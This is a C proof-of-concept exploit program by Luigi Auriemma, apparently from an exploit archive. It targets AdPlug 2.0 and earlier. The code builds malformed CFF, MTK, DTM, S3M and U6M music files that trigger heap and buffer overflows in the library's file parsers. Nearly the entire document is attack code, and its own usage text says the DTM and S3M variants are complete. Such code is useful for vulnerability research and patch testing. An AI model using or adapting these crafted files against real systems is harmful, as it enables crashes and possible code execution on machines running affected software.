Proof of concept test exploit for AdPlug versions 2.0 and below (and CVS version 04 and below) which suffer from multiple heap and buffer overflows.
f09a7c940bd14eecdae78cfe2a639e17/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define VER "0.1"
#define MODULESIZE 0x10000
#define LOWORD(l) ((l) & 0xffff)
#define HIWORD(l) ((l) >> 16)
#define LOBYTE(w) ((w) & 0xff)
#define HIBYTE(w) ((w) >> 8)
#define ARRAY_AS_DWORD(a, i) ((a[i + 3] << 24) + (a[i + 2] << 16) + (a[i + 1] << 8) + a[i])
#define ARRAY_AS_WORD(a, i) ((a[i + 1] << 8) + a[i])
#define CHARP_AS_WORD(p) (((*(p + 1)) << 8) + (*p))
unsigned short dmo_unpacker_brand(unsigned short range);
int dmo_unpacker_decrypt(unsigned char *buf, long len);
void std_err(void);
#pragma pack(1)
struct {
char id[16];
unsigned char version;
unsigned short size;
unsigned char packed;
unsigned char reserved[12];
} cff_head;
struct {
char id[18];
unsigned short crc;
unsigned short size;
} mtk_head;
struct {
char id[12];
unsigned char version;
char title[20];
char author[20];
unsigned char numpat;
unsigned char numinst;
} dtm_head;
struct {
char name[28];
unsigned char kennung;
unsigned char typ;
unsigned char dummy[2];
unsigned short ordnum;
unsigned short insnum;
unsigned short patnum;
unsigned short flags;
unsigned short cwtv;
unsigned short ffi;
char scrm[4];
unsigned char gv;
unsigned char is;
unsigned char it;
unsigned char mv;
unsigned char uc;
unsigned char dp;
unsigned char dummy2[8];
unsigned short special;
unsigned char chanset[32];
} s3m_head;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
int i,
j,
attack,
buffsz,
compsz;
unsigned char *buff,
*comp;
fputs("\n"
"AdPlug library <= 2.0 and CVS <= 04 Jul 2006 multiple overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <attack> <file_to_create>\n"
"\n"
"Attack:\n"
" 1 = heap overflow in the unpacking of CFF files\n"
" 2 = heap overflow in the unpacking of MTK files\n"
" 3 = heap overflow in the unpacking of DMO files\n"
" 4 = buffer-overflow in DTM files\n"
" 5 = buffer-overflow in S3M files\n"
" 6 = heap overflow in the unpacking of U6M files\n"
"\n"
"Note: this proof-of-concept is experimental and doesn't contain the code for\n"
" compressing the data so you must edit it for adding the missing code if\n"
" you have it\n"
" Actually only attack 4 and 5 can be considered completed!\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
printf("- create file %s\n", argv[2]);
fd = fopen(argv[2], "rb");
if(fd) {
fclose(fd);
printf("- do you want to overwrite it (y/N)?\n ");
fflush(stdin);
if((fgetc(stdin) | 0x20) != 'y') exit(1);
}
fd = fopen(argv[2], "wb");
if(!fd) std_err();
if(attack == 1) { /* CFF */
buffsz = MODULESIZE + 256;
buff = malloc(buffsz);
memset(buff, 0, MODULESIZE);
memcpy(&buff[0x5E1], "CUD-FM-File - SEND A POSTCARD -", 31); // for quick return
memset(buff + MODULESIZE, 'a', buffsz - MODULESIZE);
/*
DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = 16 + compress(buff, comp + 16, buffsz);
comp = buff;
compsz = buffsz;
memcpy(comp, "YsComp""\x07""CUD1997""\x1A\x04", 16);
memcpy(cff_head.id, "<CUD-FM-File>""\x1A\xDE\xE0", sizeof(cff_head.id));
cff_head.version = 1;
cff_head.size = compsz;
cff_head.packed = 1;
memset(cff_head.reserved, 0, sizeof(cff_head.reserved));
fwrite(&cff_head, sizeof(cff_head), 1, fd);
fwrite(comp, compsz, 1, fd);
} else if(attack == 2) { /* MTK */
buffsz = 0xffff;
buff = malloc(buffsz);
memset(buff, 'a', buffsz);
/*
DATA MUST BE COMPRESSED!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = compress(buff, comp, buffsz);
comp = buff;
compsz = buffsz;
strncpy(mtk_head.id, "mpu401tr\x92kk\xeer@data", 18);
mtk_head.crc = 0;
mtk_head.size = 0; // heap overflow
fwrite(&mtk_head, sizeof(mtk_head), 1, fd);
fwrite(comp, compsz, 1, fd);
} else if(attack == 3) { /* DMO */
printf("- not implemented!\n");
} else if(attack == 4) { /* DTM */
strncpy(dtm_head.id, "DeFy DTM ", sizeof(dtm_head.id));
dtm_head.version = 0x10;
strncpy(dtm_head.title, "title", sizeof(dtm_head.title));
strncpy(dtm_head.author,"author", sizeof(dtm_head.author));
dtm_head.numpat = 0;
dtm_head.numinst = 0;
fwrite(&dtm_head, sizeof(dtm_head), 1, fd);
for(i = 0; i < 15; i++) fputc(0, fd);
buffsz = 140; // <== buffer-overflow
buff = malloc(buffsz);
memset(buff, 'a', buffsz);
fputc(buffsz, fd);
fwrite(buff, buffsz, 1, fd);
for(i = 0; i < 100; i++) fputc(0, fd);
} else if(attack == 5) { /* S3M */
strncpy(s3m_head.name, "name", sizeof(s3m_head.name));
s3m_head.kennung = 0x1a;
s3m_head.typ = 16;
memset(s3m_head.dummy, 0, sizeof(s3m_head.dummy));
s3m_head.ordnum = 0;
s3m_head.insnum = 120; // <== buffer-overflow
s3m_head.patnum = 0; // <== buffer-overflow
s3m_head.flags = 0;
s3m_head.cwtv = 0;
s3m_head.ffi = 0;
memcpy(s3m_head.scrm, "SCRM", sizeof(s3m_head.scrm));
s3m_head.gv = 0;
s3m_head.is = 0;
s3m_head.it = 0;
s3m_head.mv = 0;
s3m_head.uc = 0;
s3m_head.dp = 0;
memset(s3m_head.dummy2, 0, sizeof(s3m_head.dummy2));
s3m_head.special = 0;
for(i = 0; i < 32; i++) s3m_head.chanset[i] = 0;
fwrite(&s3m_head, sizeof(s3m_head), 1, fd);
for(i = 0; i < s3m_head.ordnum; i++) fputc('a', fd);
for(i = 0; i < s3m_head.insnum; i++) { fputc('1', fd); fputc('0', fd); } // little endian
for(i = 0; i < s3m_head.patnum; i++) { fputc('1', fd); fputc('0', fd); } // little endian
for(i = 0; i < s3m_head.insnum; i++) {
for(j = 0; j < 80; j++) fputc(0, fd);
}
for(i = 0; i < s3m_head.patnum; i++) {
/* skipped */
}
} else if(attack == 6) { /* U6M */
buffsz = 1000;
buff = malloc(buffsz);
memset(buff, 0, buffsz);
/*
DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = compress(buff, comp, buffsz);
comp = buff;
compsz = buffsz;
fputc(buffsz & 0xff, fd);
fputc((buffsz >> 8) & 0xff, fd);
fputc(0, fd);
fputc(0, fd);
fputc(0, fd);
fputc(1, fd);
fwrite(comp, compsz, 1, fd);
}
fclose(fd);
printf("- finished\n");
return(0);
}
void std_err(void) {
perror("\nError");
exit(1);
}
Comments
No comments yet, be the first!